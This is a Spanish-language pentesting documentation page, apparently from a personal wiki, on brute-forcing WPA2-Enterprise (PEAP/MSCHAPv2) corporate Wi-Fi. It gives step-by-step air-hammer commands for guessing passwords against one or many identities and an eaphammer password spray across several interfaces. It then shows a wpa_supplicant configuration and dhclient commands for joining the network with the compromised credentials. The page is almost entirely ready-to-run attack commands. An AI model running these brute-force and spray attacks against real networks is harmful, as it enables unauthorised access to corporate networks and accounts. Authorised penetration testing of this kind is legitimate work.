> For the complete documentation index, see [llms.txt](https://www.xtormin.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.xtormin.com/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa2-mgt-red-corporativa/ataques/fuerza-bruta.md).

# Fuerza bruta

Si se conoce una identidad válida, es posible realizar un ataque de fuerza bruta para intentar obtener la contraseña del usuario.

Para ello, se puede usar air-hammer.

## Fuerza bruta contra contraseña con un usuario

{% stepper %}
{% step %}

### Ataque de fuerza bruta

{% code overflow="wrap" %}

```bash
./air-hammer.py -i wlan0 -e <ESSID> -p <wordlist> -u <identidad>
./air-hammer.py -i wlan0 -e mi-wifi-corp -p <wordlist> -u "DOMINIO\user"
```

{% endcode %}
{% endstep %}

{% step %}

### Conexión con las credenciales

Se crea un fichero de configuración ('netauth\_user.conf') insertando una de las credenciales comprometidas:

{% code overflow="wrap" %}

```json
network={
    ssid="<ESSID>"
    scan_ssid=1
    key_mgmt=WPA-EAP
    eap=PEAP
    anonymous_identity="DOMINIO\anonymous"
    identity="DOMINIO\user"
    password="pass1234"
    phase1="peapver=1"
    phase2="MSCHAPV2"
}
```

{% endcode %}

Conexión:

{% code overflow="wrap" %}

```bash
wpa_supplicant -i wlan0 -c netauth_user.conf
```

{% endcode %}

Se pide IP:

{% code overflow="wrap" %}

```bash
sudo dhclient -v wlan0
```

{% endcode %}
{% endstep %}
{% endstepper %}

## Fuerza bruta contra contraseña con múltiples usuarios

{% stepper %}
{% step %}

### Lista de identidades

{% code overflow="wrap" %}

```
DOMINIO\pepe.perez
DOMINIO\pepa.pig
```

{% endcode %}
{% endstep %}

{% step %}

### Ataque de fuerza bruta

{% code overflow="wrap" %}

```bash
./air-hammer.py -i wlan0 -e <ESSID> -p <wordlist> -u <lista de identidades>
```

{% endcode %}
{% endstep %}

{% step %}

### Conexión con las credenciales

Se crea un fichero de configuración ('netauth\_user.conf') insertando una de las credenciales comprometidas:

{% code overflow="wrap" %}

```json
network={
    ssid="<ESSID>"
    scan_ssid=1
    key_mgmt=WPA-EAP
    eap=PEAP
    anonymous_identity="DOMINIO\anonymous"
    identity="DOMINIO\user"
    password="pass1234"
    phase1="peapver=1"
    phase2="MSCHAPV2"
}
```

{% endcode %}

Conexión:

{% code overflow="wrap" %}

```bash
wpa_supplicant -i wlan0 -c netauth_user.conf
```

{% endcode %}

Se pide IP:

{% code overflow="wrap" %}

```bash
sudo dhclient -v wlan0
```

{% endcode %}
{% endstep %}
{% endstepper %}

## Fuerza bruta contra usuarios con múltiples interfaces&#x20;

Si conocemos una contraseña válida o una contraseña usada comúnmente por defecto en la organización, pero no sabemos a qué usuario pertenece, se puede realizar un ataque "a la inversa", es decir, probando la contraseña contra una lista de posibles usuarios.

Además, con eaphammer se pueden usar múltiples interfaces de red, para realizar el ataque más rápido, por ejemplo, 3 intentos por cada vez en caso de usar 3 interfaces de red.

##

{% stepper %}
{% step %}

### Lista de identidades

{% code overflow="wrap" %}

```
DOMINIO\pepe.perez
DOMINIO\pepa.pig
```

{% endcode %}
{% endstep %}

{% step %}

### Ataque de fuerza bruta

{% code overflow="wrap" %}

```bash
python3 eaphammer --eap-spray --interface-pool wlan0 wlan1 wlan2 --essid mi-wifi-corp --password pass1234 --user-list usuarios.txt | grep -aE "FOUND ONE|Trying credentials"
```

{% endcode %}
{% endstep %}

{% step %}

### Conexión con las credenciales

Se crea un fichero de configuración ('netauth\_user.conf') insertando una de las credenciales comprometidas:

{% code overflow="wrap" %}

```json
network={
    ssid="mi-wifi-corp"
    scan_ssid=1
    key_mgmt=WPA-EAP
    eap=PEAP
    anonymous_identity="DOMINIO\anonymous"
    identity="DOMINIO\user"
    password="pass1234"
    phase1="peapver=1"
    phase2="MSCHAPV2"
}
```

{% endcode %}

Conexión:

{% code overflow="wrap" %}

```bash
wpa_supplicant -i wlan0 -c netauth_user.conf
```

{% endcode %}

Se pide IP:

{% code overflow="wrap" %}

```bash
sudo dhclient -v wlan0
```

{% endcode %}
{% endstep %}
{% endstepper %}
